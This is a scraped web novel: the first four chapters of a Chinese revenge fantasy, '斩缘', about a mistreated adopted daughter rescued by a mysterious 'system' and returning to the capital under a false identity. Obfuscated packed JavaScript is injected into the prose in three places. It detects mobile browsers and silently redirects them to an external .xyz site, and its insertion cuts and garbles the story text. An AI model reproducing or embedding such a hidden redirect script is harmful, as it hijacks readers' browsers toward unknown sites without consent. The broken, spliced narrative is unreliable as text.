《斩缘》 1. 新生 江州。 林家人惴惴不安地坐在马车上，侯府世子宋元舒在他们身边不断安抚着他们的情绪。 “你说舒然不会有什么事情吧？”林母越想越害怕，她养了十几年的孩子被山匪掳走，已有两日没有音讯，脑海里全是娇滴滴的女儿被各种虐待的模样。 宋元舒双手死死的摁在腿上，眼里满是阴鸷，在良久沉默后，他安慰道：“林夫人放心，那群贼人手里不止有舒然一个人，林霖也在他们手里，他们不一定会伤害舒然。” 提到林霖这个名字，马车里的人的怒火都被挑了起来。 “要不是那个逆子带着然儿到处乱跑，今日也不会发生这件事，”林父气得把桌上的杯子摔落在地，“带她回来做什么，我真恨不得她死在那场饥荒里。” 山崖边，林霖狼狈地坐在地上，渴得嘴唇发白起皮。 林舒然同样被晾了两日，但却还有力气在她身边哭喊，嘴里不断叨叨着林府大小姐，全打一顿云云。 有时候林霖是真羡慕林舒然的精力，被虐待了这么久居然还有力气去呐喊和示威。 就是有点烦人...... 林霖掀起眼皮，冷冷道：“别喊了，有点力气做什么不好。” 林舒然闻言一下子看向她，“你懂什么！爹娘绝对不会放弃我的，你就是个灾星，你一回来就出事，全家都被你搅得鸡犬不宁！” 若不是她双手双脚都被绑着，她定然要狠狠抽眼前人两巴掌，让林舒然心服口服的承认搅得全家鸡犬不宁的人到底是谁。 那山匪倒也有耐心听着林舒然的连环怒骂，直到不远处出现了个摇摇晃晃的马车，他才站起来用抹布塞上了林舒然的嘴，把两个人都拎了起来。 林家人和宋元舒刚下马车就见到了这一幕，林母直接就晕了过去，林父赶紧撑住自家夫人，对着山匪怒目而视。 只是这怒目而视的对象有些错误。 林霖感受着那道目光如炬的眼神，疲惫地闭上了眼。她是造了什么孽这辈子能遇上这群人。 林舒然这个时候也不大喊大叫了，她楚楚可怜的流着眼泪，像是被邪魔操控了一样，低声啜泣道：“不要管我。一定要救姐姐，姐姐才刚回来没多久，我死了没什么，但姐姐刚从狼窝里逃出来，应该有更加美好的未来。” 就连这个时候她都有心情和自己争风吃醋，林霖顿时肃然起敬，甚至是有些惊奇了。面对这样一个敬业的人，她能赢过就怪了。 这道声音一出，林家人看她的眼神都愤怒了起来，宁元舒更是直接背过了身，不愿再看她一眼。 ...... 就好像她愿意想看他们一样。 她不能坐以待毙，没人会来救她。 林霖观察着周围的环境，后面是山崖，前面是叫嚣着的林家人，身后还有一个力气很大的山匪，旁边还跟着一个累赘，在这种情况下，她想要逃出去，简直难如登天。 “你想，改变你的命运吗？”一道突如其来的陌生声线出现在她的脑海里，林霖瞬间警惕起来。 周围的一切还是那样吵吵嚷嚷，山匪依旧不发一言的绑着她俩挡在自己身前。 “只有你能听到我的声音。” 那么，这道声音只能是来自她的身上，并且那东西寄生于自己的脑子里。 “你想要干些什么，为什会找到我？” “你好像能对我和你沟通这件事并不惊讶。” “长话短说，”林霖看着林家人准备上前的身影，心里不由得一紧，“你刚刚说能帮我，你能怎么帮我。” “和我绑定，我帮你解决你被剧情控制的事情，你帮我赚取能量。” “......你的意思是说，我迄今为止一切的反抗都不起效的原因，是因为被那所谓的剧情控制了？” 那道声音痛痛快快的承认了这件事。 “可我为什么非得需要你的帮助？” “你快要死了，而我可以保住你的命。” 什么！ 一股巨大的力道把她的身体带了起来，死死的钳住了她的脖子。 那个山匪终于说话了，“两个女儿，只能有一个人活着，你们，选哪个？” 这人是疯了吗，明眼人一看就知道眼前这七八个人都不是为了她而来。 让林霖没想到的是，林家人居然真的因为这个问题而沉默了。 就在这时，一股熟悉的僵硬感席卷了她全身，她又一次在这种关键节点里动弹不得了。 “要不要试试和我绑定？” “和你绑定我能活下去吗？” 那道声音倒是不紧不慢，“不和我绑定，你马上就会死。” 林霖眼睁睁的看着那个控制自己身体的怪物，拿着她的身体向那群人摇尾乞怜，哭泣求饶，死死地咬住了牙关。 “那我要活。” “恭喜宿主和我绑定，我是系统001号，你可以叫我001。” 001刚说完这句话，一股奇妙的感觉充盈了她的全身，让她重新掌握了自己的身体。 可惜，现在的情况实在是糟糕，林家人最终还是选择了林舒然，而她已经被山匪推到了悬崖边上。 山匪的手在她的脖子上紧了紧，脸色阴沉的看着她。 “既然你们都选林舒然，”山匪将林舒然推回到林家人身边，将林霖一脚踹了下去，“那林霖姑娘，你还是去死吧。” 就这样，林霖狼狈了摔下了山崖，罡风和林家人的尖叫呼喊声交织在一起，放大了她的恐惧。 那个叫做001的东西真的会救她吗，她为什么总把自己的命交给别的东西来抉择？ 她有些绝望的闭上了双眼。 在她即将落地的那一刻，一股力量似乎托举住了她，将她送入了一个冰冷的地方。 只是那力道实在是太大，在落下去的那一刻，她还是被震晕了过去。 …… 林霖做了一个冗长的梦，干旱的土地，撕裂的天空，以前的爹娘打骂着她，却给她冠以“霖”之名。一转眼，林家人带回了她，给予她温饱，却泯灭了她的生命。 大火炙烤着她的身子，让她迷迷糊糊，每个地方都有火光，她该从哪里出去？ 林霖伸手抹了一把汗，拖着步子朝着火光跌跌撞撞地走去。 似乎有什么声音存在于火光后，只要她突破过去，就能醒过来，就能去复仇。 “这孩子真是烧糊涂了。”男子看着床上的女孩通红的脸颊和嘴里不成语句的话，不由得叹了口气。 “从哪掉下来的知道吗？”女子利落的拧了一块毛巾，搭在林霖头上。 “不知道，要不是鱼钩钩住了这孩子的衣服，我都发现不了她，看样子她已经在这条河里飘了好一段时间了。” 想到此处，男子放下手中的水盆，转头叮嘱女子道:“老傅，我给她抓点猛药，先治个急，你在这里看着她，有什么情况叫我。” 女子摆了摆手，拧着眉头拿下了那块微微发热的毛巾，“你什么时候变得这么啰嗦了？” 听着男子很快远去的脚步声，女子眼里温和下来，“也算你与我二人有缘，若有能力把你救下来，帮你报个小仇也不是不可以。” 在帮林霖脱掉落水衣物时，傅成欢自然发现了她身上密密麻麻的陈年伤痕，这个女孩应是受了家里人的虐待。 连她看到这种伤痕，都有些心惊胆战的。 到底是恨成什么样，才会如此折磨这样一个手无缚鸡之力的人。 林霖迷迷糊糊之间感觉有谁好像在看着自己，她微微睁开眼，似乎看到了一个模糊的身影在她身前忙来忙去。 她一把抓住那人的袖子，眼里滚落出滚烫的泪，划过脸庞。那泪痕带来的丝丝凉意让她不由自主的依赖眼前这个人。 “别……不要我，好热，谁把我救出去啊。” 傅成欢拿着毛巾，有些僵硬的弯下腰，轻轻地坐在凳子上。 她愣怔片刻，还是没有选择把袖子从林霖手中抽走，等了一会后，她用刚泡过冷水有些冰凉的手抚上那张脸。 几乎瞬间，女孩的眉头舒展，也不再胡乱的说梦话了，似乎是得到了极大的安慰。 “……她睡了？” 许秋意撩开帘子看见这一场景愣了，随即轻手轻脚的走了进来，将冒着热气的药碗放在桌上。 傅成欢点了点头。 看着傅成欢的神情，许秋意凑到她耳边轻声问道:“你喜欢她啊，要不要把她留下来照顾一段时间。” 傅成欢静静地看着那张脸，心里想着，小孩子果然爱撒娇，如果只是把她留下来养一段时间伤，好像也没什么。 “老许，你真是我肚子里的蛔虫，总能猜到我心底想的事情。” 许秋意闷闷地笑了几声，眼神柔和的看着眼前两个人。 “她让我想到了我的妹妹，”过了不知道多久，傅成欢拿着热透的毛巾，轻柔的浸泡在冷水中，“都是一样大的孩子，一样的爱撒娇，我每次一回来，就让我给她带糖。” “有的时候实在是忙忘了，她也只会皱着眉，哼哼唧唧的让我躺在她身旁，讲些江湖上的趣事。” 许秋意没有说话，站在傅成欢身边静静地听着这个听过很多遍的故事。 傅成欢没有接着说下去，她弯下腰，替换了那块毛巾。毛巾的温度已经不是很烫，眼前女孩的脸色也好了许多。 她重新坐了下来，轻声说道:“像这个年纪的姑娘，应该快快乐乐的吃吃糖，听听故事，就算家境穷苦些，劳碌些，也不该浑身都是伤。” 屋外，冷风吹赶着打旋的树叶，树叶飘了一会，落在了地上，也不知是谁的叹息掩藏在了中间。 这一觉睡得实在是不安稳，总有人在外面叫着自己，催促着她赶快醒来。林霖只能挣扎着身子脱离梦境。 她缓缓睁开眼，眼前泛着模糊的光，稍稍过了片刻，两个陌生的身影出现在她眼前，一个趴在桌上睡觉，另一个人原本闭着双眼，却好似感到了她的动作，倏得一下醒了过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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傅成欢与林霖两个人都不属于喜欢说话的性子，喂完药之后，两人只能观赏着风景出神。 桌上的茶悬浮了几百遍，许秋意就端着粥菜进屋招呼两人上桌吃饭。 借着傅成欢的力，林霖起身披了衣服，慢慢地走到了桌前。 望着桌上热气腾腾的蔬菜火腿粥，她的眼中不由自主地泛起一丝热气，意识到这一点后，立马低下头。她真是不争气，居然会因为这些温暖就一直想留在这里。 “对了，姑娘你着急回去吗？”许秋意看着林霖的后脑勺，心里叹了口气。 林霖僵了身子，但很快就听见对面的人温柔的跟她说，“要是不着急，在我们这里养一段时间伤怎么样。” “我已经问过她了，她说她愿意留在这里。” 许秋意有些意外，看着眼前姑娘泛红的耳根，笑了起来，“那就好。” 这下眼泪是彻底止不住了，她自嘲了一下，搅了搅粥，随即竭力忍着嗓子眼里的哭腔，“我……我不能白白呆在这里，会不好意思，有什么是我可以帮忙干的吗？” 傅成欢递了张纸，看着小姑娘有些凌乱的发髻，上手摸了摸她的头。 许秋意想了想，点了点窗外的山，“那你休养好后帮我采点草药吧，会吗？” “会，我从小到大采得草药不算少，就是对药材认识的没那么全面。” “没关系，你可以和我学，”许秋意说道：“我是一位医生，如果有兴趣的话可以和我多学一点，我这手医术也没什么人可以帮我传下去。” “当然可以，如果......不麻烦的话。” 听着越来越低的声响，傅成欢有些无奈，这姑娘怎么这么害怕麻烦别人，“先吃饭吧，养好身体才能干后面的事” 林霖狠狠点了点头。 由于她现在病还没有好利索，被许傅二人强硬的拒绝了洗碗的请求，只能遗憾的上床休养，安静睡觉。 她侧着身子看着帘子外面隐隐透进来的光，这么看来，她的人生未来也不算很差吧。 “当然不差，甚至还会很精彩。” 001的声音在她的脑海里响起。 “……是你把我带到这里来的，为什么要帮我？” 那个系统有些奇怪的反问道:“之前就已经和你说过，你身上有我所图谋的东西，为什么不帮你？” “我身上还能有东西被你所图谋？” “当然，不过宿主你现在还没有这个权限得知这件事情。” 林霖有些沉默的翻了个身，“那我帮你这件事，会伤害无辜的人吗？” “这就是宿主你自己的事情了，我只需要一个结果。请放心，一般情况下，我是不会给宿主派发杀人的任务的。” 见林霖没有再问，001友好的道了别，“今日和您聊得实在是太晚了，宿主，晚安。” 2. 分别 “呀，睡着啦？” 听着这熟悉的打趣声，林霖一个机灵清醒过来。眼睛还没睁开，下意识拎起地上的背篓向山上跑去。 许秋意看着那个狼狈奔跑的声音，思索再三，也只来得及喊出一句：“别忘了带捆柴回去！” “知道了！” 直到再也看不见那道身影，林霖的动作才逐渐慢了下来，将背篓好好地背在了背上。 “不错，现在你再遇到京城那伙人，起码能够占个逃跑的优势。” 林霖手里拿着镰刀，蹲在地上细细分辨着草药，随口说道：“那还不是托你的福，谁知道这我的二位恩人变成师父以后会如此凶残？” 001轻轻笑了一下，“那你可以选择不完成任务啊？” “得了吧，我不想欠债不还，更何况他们于我有恩情，我多留些时日还可以帮他们多干一些活，空着手学东西，是个人都会愧疚的好吧。” “那你这一干就是将近两年，还想回去吗？” 林霖停下了手中的动作，心脏骤然一紧，“你的意思是？” 001不紧不慢说道：“林家四天后要在京城开赏花宴，他们不知以什么理由请到了镇北将军林述，第二个任务，请宿主得知镇北将军来林家的目的。” “所以你的意思是......” “你今天就得离开。” 林霖望着土坑下终于挖到的草药，怎么也高兴不起来。 自从两年前，001给她留下了拜许秋意、傅成欢二人为师的任务，她就一直将这里当做一个逃避过去的地方。这些时间里，她与二人相处的如师如父母，她直到迟早有一天得离开这里去完成她的事情，却没想到居然这么快。 嗅着身上缠绕的药香味，林霖将药放进背篓，拨开树叶缓慢向前走去。 风将泛黄的树叶从树上吹下，落进她的掌心，小山下落座着影影绰绰的几间房屋，那块是她呆了两年的家。 想到这里，林霖阴沉着神色，攥紧了拳。罢了，迟早有一日会回来。 将所有的一切都收入心中，她转了身，再也没有回头。 来得时候，路途不过几步，这下山的路倒是长得很。 林霖比对着手上的木材，最终选了那根长得较为端正的扔进了背篓。 这么挑挑拣拣了一会功夫，太阳也缓缓落入山崖。 林霖刚走出山林，就看见她的便宜师父还在呆在小屋前，静静地喝着茶。 “怎么不去陪我二师父？” 许秋意骤然回过神来，看着林霖有些凌乱的发丝，叹了口气，“你二师父有些事情要去做，过来，我给你理理头发。” 林霖走了过去，将背篓放在地上，“我先去洗个手。” “好，晚上吃些什么，等会给你做。” “嗯......就做师父您的拿手菜罢，好久没吃了，还想吃碗我刚来的时候您煮的粥，”林霖甩了甩手，将头上的发带拆了下来放在桌上，自己背对着许秋意坐在凳子上。 “你这孩子，”许秋意拿着木梳轻轻地把那些有些打结的地方理顺，“一有烦心事，就会乱抓头发。说吧，这次又有什么难过伤心的事情了。” 林霖一愣，终于感受到了心里一直郁结的那股气从何而来，她拧着眉想了半天措辞，停顿了好一会才说道：“师父啊，我可能要离开了。” 许秋意梳发的手一顿，看着林霖的后脑勺，问了一句：“还会回来吗？” “会啊，我一定会回来的，这里才算是我的家，只是前事未尽，在这里逃避着也不是个事。” “这样啊，”许秋意轻轻笑了起来，“那我得给你准备些盘缠，教了你这么久的功夫和药理，回去可不能再被人欺负了啊。” “当然，”林霖也笑了起来，“我不会疏忽练功的，说不定等我回来，就可以练二师父的刀法了。” 许秋意握着发髻，从怀里摸出一根玉簪插在了上面。 感受到发间不同寻常的感觉，林霖轻轻的摸了摸，她有些惊奇的回头，就看见许秋意的脸与夕阳的光融和在一块，“再送你一匹马和一身新衣服，少年人就该风风流流去干属于自己的大事，十七岁生辰快乐。” 一股热意从眼中涌出，林霖有些狼狈的用手擦了擦脸，“我知道了，我就提过几嘴我喜欢的东西，你就记住了啊。” “老许，你又把小姑娘惹哭了？” 傅成欢骑着马迎着光走了过来，甩了甩身上的风尘，把手上的包袱放在了桌子上。 “不是大师父干得，是我忍不住，”林霖站起身，看着桌上的包袱，“我准备明日前往京城，去干一些我之前干不得的事情，可能要离开一段时间。” 傅成欢一愣，随即笑着无奈地叹了口气，“那很好啊，等你回来。” “可以回来？” “咱们之间，没什么可生分的，等你回来，你也有时间学你心心念念的刀法了吧。” 林霖点了点头。 “这包袱里是给你带的衣裙，”傅成欢坐了下来，又指了指那边的马，“教了你一年多的骑术，总觉得你应该有一匹自己的马，现在看来，今年给你准备的东西真是准备对了。” 看着不远处的银鞍白马，林霖的眼中闪过些许欣喜。 “去骑一骑吧，真好我做饭，你二师父给我打下手。” 林霖试探着摸了摸马的鬃毛，白马亲昵朝她凑过来，和她的脸颊紧紧地贴在了一起。 她翻身上马，拉住缰绳，马儿慢慢走动了起来，向着远处走去。 “银鞍白马......既然如此，就叫你流星好了。” 流星高兴的嘶鸣了一声，随着林霖的动作，真的如流星一样向远方跑去。 看着一人一马的背影，许秋意眼里流露出些许怀念，“果然当属少年人最风流啊，真是意气风发。” 傅成欢慢慢地喝着茶水，看着许秋意，没有说话。 “阿欢，待我腿伤修养的差不多了，也带你去骑马，怎么样？” “好。” 草地与河流在流星的奔跑下连接在了一起，落日慢慢没入山头，斗转星移。 风带着发丝飞扬在空中，看着眼前的一切，林霖勒住了缰绳。 “你说我还能回来吗？” “可以，只要你想回来，没有回不来的路。” 林霖望着远处的山，想起了路途遥远的京城，高门林立，风流名士，高头大马。她第一次去的时候还会因为这些诚惶诚恐，但现在估计也只会笑一声，没什么大不了的吧。 “我要用林霖的通关文牒进去吗？” “早就给你做好了，”001懒洋洋地说道：“你要是用原本的面目回去，来不及做准备，就会被你的那群家人折磨，还不如利用他们的愧疚心做点有意思的事情。......对了，在你没有偿还清楚当初受伤和这次通关文牒的积分前，建议你先别完成你的复仇目标，要不然你的余生得给我打工还债了。” “你的意思是......” 001无奈地叹了口气，“主线任务期间的积分奖励和任务结束后那能一样吗？” 听到这里，林霖在心中大骂奸商狡诈，001充耳不闻，甚至直接闭了麦过自己的逍遥世界去了。 独留下林霖一人气得肝疼的骑着马往回赶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那少年动作很利落，三两下就收拾出了一块空地，随即就一直踟蹰在原地，打量着庙里的东西。 林霖隐隐约约的猜到了什么，也没有提醒什么，就这么好整以暇的听着那人轻声道出了那句话：“庙里的主人家，外面雨实在是大，特来借宿一晚，希望不要打扰到你的清静。” 说完后，庙里并无声音传出。那少年松了口气，对着林霖歉意的笑了笑，坐了下来。 “在下朔州靖城人士钟不为，应邀参加城里林府的赏花宴，并非有意打扰。” 这人居然也是来参加林府的赏花宴？ 林霖摇了摇头，表示自己并不在意。 就在她即将伴着火光睡去时，001的声音惊醒了他，“你们已经遇上了？也好，省得我还要指路了。” “什么？” “眼前这人是我给你整来的帮手，带你进林家的赏花宴的。” 林霖这下彻底清醒了。她看着眼前发呆的少年有些惊愕，“那我该怎么和他相认，你去帮我沟通？” “我同一时间只能连接一个人，你只要问他认不认识我就可以了，我还有点事，等会再来找你们。” 钟不为的耳朵很灵敏，他看着原本昏昏欲睡的姑娘像是遇到了什么惊悚的事情一样，猛然瞪大了双眼，起了身。 这么过了一段时间后，那姑娘频繁的看着他，眼睛里充满了好奇。 他身上莫非有什么奇怪之处？ “你......认识一个叫做001的系统吗？” 钟不为这下也不由得惊坐起身了，“你就是那个叫系统的天外来物给我找的帮手？” 3. 伪装 “001没给你说吗，它让你带我进赏花宴。” 钟不为似乎有些失落，但很快又正了神色，“它确实对我说过有这个事，姑娘，方便得知一下你的名姓吗，我好为你编造一个身份。” “双木林，甘霖的霖。” 钟不为听到此处，不由得笑了起来，“这倒是巧了，正好说你是林将军的远房亲戚罢。” 林霖愣了一下，刚觉得这主意不错，但很快又想到了一件事，“这样可以吗，林述将军这次可是会亲自赴宴，要是她发现我不是她亲戚可怎么办？” 看着林霖有些忧愁的绞着头发的样子，钟不为信誓旦旦的保证到，“安心，我们靖城姓林的人很多，而且林将军是大好人，绝对不会因为这些事情生气的。” 林霖这才想起来，那位存在于传说里的林将军是靖城人士，以草民之身成为大将军，杀了前朝的暴君与国师，带领民众度过了那个黑暗的王朝，很多人本以为她会自己上位，但她却自己扶持了一位新皇，并拒绝了新皇摄政王的册封。如此一位传奇，她倒真好奇那些过去的往事。 这么想，她也真这么问了，“你知道林将军的故事吗？” “你要真这么说，我给你讲一些鲜为人知的吧，”钟不为起了兴趣，来到林霖身旁，“一些亲身经历。” 看着眼前摇曳的火光，他放低了声音，“林将军在行军路途中，将我们带回了家，那个时候她与国师还没有决裂。明明自己一路上都舟车劳顿，却把我们一路送回了朔州。你应该知道靖城大火吧？” 林霖轻轻点了点头。 “林将军是当时我们所知的唯一一个活口，整座城池都被火烧得焦黑，当时我还是个很小很小的婴儿，我的家人们和外出做工的一些人听到这件事，都想要往回赶。但没赶多少里路，战争就开始了。谁也不知道为什么国师和皇帝就翻脸了，斗得你死我活，但人总得回家啊，虽然家被烧了。” “林将军就是这个时候出现的，她带我们回了家，还给了我们一些保暖保命的衣物食物，若没有她，我们可能连烧焦了的家都见不到。国师许丛洲不是什么好人，但他救了林述将军一命，是我们这辈子都庆幸的一件事。” 故事讲完了，钟不为望着林霖，有些不好意思，“我是不是讲得有点没意思，不过这对我来说确实是印象很深刻的一段时期，要是我家那边的说书先生来讲，讲得肯定更有意思，不过我听我母亲说过，那个时候家里的一行人穿越过百里的冰河，踏着十里风雪，即使可能知道靖城里什么也剩不下，也要回家。反正都是要死，不如就这么死在家里，好歹也是块极佳的埋骨地。” “很好啊，战火里的事情又不能像话本里讲得那样，婉转悠扬，但成功到回家这件事，又何尝不是一个圆满的结局。” 钟不为一时有些语塞，他低声说了一句先睡了，就急急忙忙赶回了自己刚打扫完的那块地。 看着钟不为的背影，林霖重新躺了下去，这下的她是彻底没了睡意，推演着明日可能遇到的场景，但很可惜，不论是哪一种结局都让人心焦，最终只能闭着眼渐渐感受着庙外雨滴不再落下，日光渐渐从破落处照射在她的脸上。 直至此时，他才感受到些许来自内心深处的困倦。 “醒醒，我们该动身了，在去宴会之前还需备点薄礼，你......” 钟不为欲言又止的看着林霖有些青白的脸色，小心翼翼的问了一句，“没睡好吗？” “还行，在进城之前先陪我做件事吧。” 两个时辰后，钟不为百无聊赖的坐在客栈里的凳子上，琉璃盏里的茶叶在水中打着旋，跟着人来人往的动作起起沉沉。他刚要用筷子拣起一片茶叶看看品质，身后就传来一声清脆而又熟悉的叫声，“表兄。” 钟不为有些茫然的回头，一个身着月白色衣裙的女子娉娉袅袅的走了下来，青色外披上绣着的百合更显得这个姑娘素雅可爱。 “如何，这是我师父给我买的新衣。” 钟不为看着陌生而又熟悉的眼前人，缓缓点了点头，随即又想到了什么，轻声问道：“林姑娘，这个发髻并不适合你，如果不嫌弃，我可以为你重新挽发。” “你竟然会挽发？”林霖有些意外，“如果可以的话，那就麻烦表兄了。” “没事，举手之劳而已......表妹，先来吃饭吧。” 林霖坐在凳子上，看着眼前的菜色，简直快要热泪盈眶。天知道她这三天在路上是如何度过的，渴了喝点水，饿了啃点干粮，觉得凉了就把干粮烤一烤，真是难得能见到一口新鲜的饭。 “对了......”林霖抬头望向钟不为，看着他欲盖弥彰喝茶水的模样，有些不明所以，“是这里的饭菜不合你胃口吗？” “不，你刚刚说什么，继续便是。” “是这样的，我想了想，为了更加天衣无缝一些，咱们还是得串一下话，千万不要说错称呼了。” 钟不为想了想，点了点头，“可以，少点差错自然是好的。” 林霖看着眼前不知道想到了什么快乐的吃起菜来的少年，心里不禁有些忧愁。 “001，你跟他说过我的身份吗？” “......” “001？” “宿主，你知道天外来物也是需要吃饭的吗，这个点也是我们系统的饭点。” 听着那道有些无奈的机械音，林霖有些心虚的清了清嗓子，“按照你所说，马上就要到重要节点了，你说若是我遇到了那群人该怎么办？” “这取决于你的态度，要是想要折磨一下，那就给他们下个套，要是气不过，可以来上几巴掌，我想钟不为应该是不会受到这些小事的牵连的。” “那......可以直接弄死吗？” 001彻底沉默了，在感受到林霖有些期待的神情后，劝诫道：“不可以，就算只弄死几个也不行，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15070611|163181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打不过林述，这是第一点，第二点，你欠我的积分还没还清，你从我这里预支的钱财也需要用积分还清。” “好吧。” 钟不为看着沉默吃饭的林霖有些疑惑，“你在和那玩意聊天？它有说什么别的事情吗？” “没什么，就是告诉我，我要完成我的目的，需得徐徐图之。” 林霖压下心底的一些烦躁，看着钟不为那双温柔沉静的眼睛，说道：“若是这次宴会里我出了什么岔子，你就直接走吧。” 钟不为下意识摸了摸腰间的配剑，感受到熟悉凉意才放下心来，“安心，我轻功不错，武功也还练得算是到位，脱身不是什么大问题。看来这林府对你来说算是龙潭虎穴啊，你竟然对去林府这件事如此紧张。” 林霖倒了一杯茶水，入口的那一刻才感觉到些许烫意。她看着对方，钟不为对着她笑了一下，有了这丝笑意，她竟也觉得安心下来。 “一些前尘往事，等我结束了这些事情，再给你讲也不迟。” 两人无话的吃了会饭，最终还是钟不为先开了口，“走吧，我去给你梳头。” 绕开人声鼎沸的人群和各种打量的视线，两人错着时间进了屋。 钟不为挑起林霖的一丝头发，用梳子梳了起来。他的动作很轻，偶然垂落的发丝闹得林霖有些战栗。 为了转移一下注意力，林霖问道：“表兄觉得我和当初你见到我时有何不同。” 钟不为从镜子里看向眼前的姑娘，温柔灵动的眉眼，素齿朱唇，“我刚开始没有认出来你？” “真的？” “但我看到你的这双眼睛，就知道，那是你。” 林霖笑得开怀，“表兄与我才认识不足两日，就能一下子认出我来？” “我看人先看眼，每个人的眼都是独特的，”钟不为将手中的簪子插进发髻里，“你的眼是坚韧不拔的，却又不失温柔。”还像星星一样亮着好看的光。 听到这份形容，林霖有些愣怔，但很快笑了开来，“还是第一次有人用这种形容来夸我。” 看着垂落脸庞的几缕发丝，和后面盘着的发髻，她这下是真的惊讶了，“你梳发的手艺比我大师父也差不了多少，真好看。” “因我自幼习武，能控制着手上的力道，家中母亲与幼妹最喜让我学各种梳发方法，”钟不为有些不好意思，耳根微微泛红，“许是我翻花绳技术好，簪发技术也学得不错，于是经常在家中给家人簪发。” “学武竟还有这等好处？” “咳咳......我看表妹也不是完全没有底子的人，不知表妹哪门功夫最到家？” 想起那些年被傅成欢和许秋意追着的日子，林霖还是把那句逃跑咽了下去，左思右想，憋出来了一句，“医术，家里人只是让我练了个底子而已，以至于爬山采药不至于太累。” 其实她医术学得稀烂，比起医术来说，她制毒的技术倒是上上乘。 4. 进府 钟不为微微蹙起了眉头，但很快又舒展开来，“无事，只是到时候在林府，我大抵是看顾不了你了。” 林霖从铜镜中不动声色地观察着钟不为的神色，看来这人也抱着醉翁之意来的林府，只是他忧愁的东西似乎与自己并不相同，但要推测出他是因为什么事情来到这里，还得不断加深他们之间的关系，从时间上来看得不偿失。 于是林霖很快放弃了探索身后人的想法，回道：“到时候表兄想去做什么就去做，但如果出了事......” 钟不为笑了起来，“大难临头各自飞就是，只期盼表妹干的事情也别牵连表兄，若是惊扰了林将军，只怕你我二人的计划都得重新规划。” 两人从铜镜中相视一笑，心里都很满意对方识趣的性子。 基本的事情谈完，钟不为也不好再呆在这里，道了别便推门离去。 直到门关上，林霖才继续从铜镜中打量自己的样貌，与珍重之人在一起仅仅几年，容貌竟与两年前天差地别，气质也完全不同，是因为她再也不用寄人篱下了吗？ 想到这里，她不由得低低笑出声来，满意的看着自己的眼睛，就是要这样，笑着的、快乐的、沉静的，而不是愁苦的、悲戚的、乞求的。 今日与他们相见，可不要流露出仇恨的表情啊，林霖。 钟不为站在走廊里，手指不自觉的摩挲着手中的剑，心里总是有些不知道从何而来的忧愁与烦闷。 “001，你说我的事情能够顺利完成吗？” “只要你自己不放弃，就可以。你在担心什么？” 钟不为的神色闪现了些许迟疑，“可能是信息没收集够？也有可能是因为怕连累旁人，林府真的像我打听的那么单纯吗？” “宿主，我无法预测你的未来，最多可以给予你一些微不足道的帮助，”001在他的脑海中叹息道：“不过，你若是像当年一样，只是需要一个推手而已，那我可以给你填一份力。” “不必，我还没脆弱到向你一个天外来物汲取自信。” 罢了，兵来将挡水来土掩便是，为了没发生的事情惶惶然，可不是他一贯的作风。 听着屋外的风声，林霖靠在床上，有些昏昏沉沉，这么一困，倒是想起了些她坠崖时发生的事。 恍惚中，她似乎又闻到了坠落在水中时那股寒冷的气息，如烟雾般笼罩在周围，随着她飘着的身子缓缓流向远处。直到一股淡淡的竹叶香的怀抱将她抱起，送到温暖的室内，一股温暖的风驱散了整片寒冷。 “......怎么不关窗。” 林霖迷茫的睁开眼，天光从窗外照在那人的身上，为他染上了淡淡的光晕。过了好一会，她才意识到那个朦胧的身影是钟不为，而自己身上不知何时被人盖上了一床小被。 “多谢，”林霖坐起身，揉了揉有些发疼的头，“是我们该走了吗？” “是，”钟不为走到她身边，为她整了整有些歪掉的发髻，眼中带了些笑意，“准备好了吗，说不定今日下午是一场恶战。” “你怕吗？” “怕就不会来京城了。” 京城着实是个好地方，精致的食物与各形各色的人，如今的林府真真是鲜花着锦，比她离去那日热闹了不止一星半点，仅仅是来这里的路上，她就听到了很多关于林家的传闻，十之八九都和她那曾经的“好妹妹”林舒然有关，相必这次千方百计请林将军来，不仅仅是为了给林家造势，更有一部分原因，是为了林舒然的婚配。 真真让人羡慕。 这么想着，林霖抬起头打量着那座熟悉的府邸，心中不由得泛起些许冷意。 “钟兄？” 她随着钟不为一起回头，一个神色有些冷硬的男子站在他们身后，看着钟不为有些惊讶的神色，微微露出些许笑意。 “自靖城一别后，真是许久未见，不知身边这位是......” “我的表妹，钟霖，”钟不为拱了拱手，说道：“没想到能在这里见到林兄，你也是来此参加林府的赏花宴的吗？” 那男子摇了摇头，解释道：“我算是半个东家，这次特地回来，就是为了帮家父家母打些下手，正好与他们团聚一些时日。” 见林霖的目光有些震惊，林砚有些歉意地看着她，“在下林砚，是林府的大公子，一直没有向你介绍自己，真是抱歉。” 林霖压下心底的惊愕，轻轻摇了摇头。 “这次赏花宴，家中人下了血本，也备了好些节目，正巧我没什么事，不如我带你们先熟悉一下里面的环境？” “那就麻烦林兄了。” 看着林砚走在前面的身影，钟不为微微低下头对着林霖耳语道：“你认识林砚吗？” “不认识。” “这人在靖城时一直少言寡语，如今竟主动带我们去熟悉林府，其中必定有些蹊跷。思来想去，也就只能是为了你。” 林霖心中微微一紧，但面上丝毫不显，问道：“你的意思是......” “他看向你时，眼里会不自觉柔和几分，若你们不曾相识，那就只能是他对你一见钟情了。” 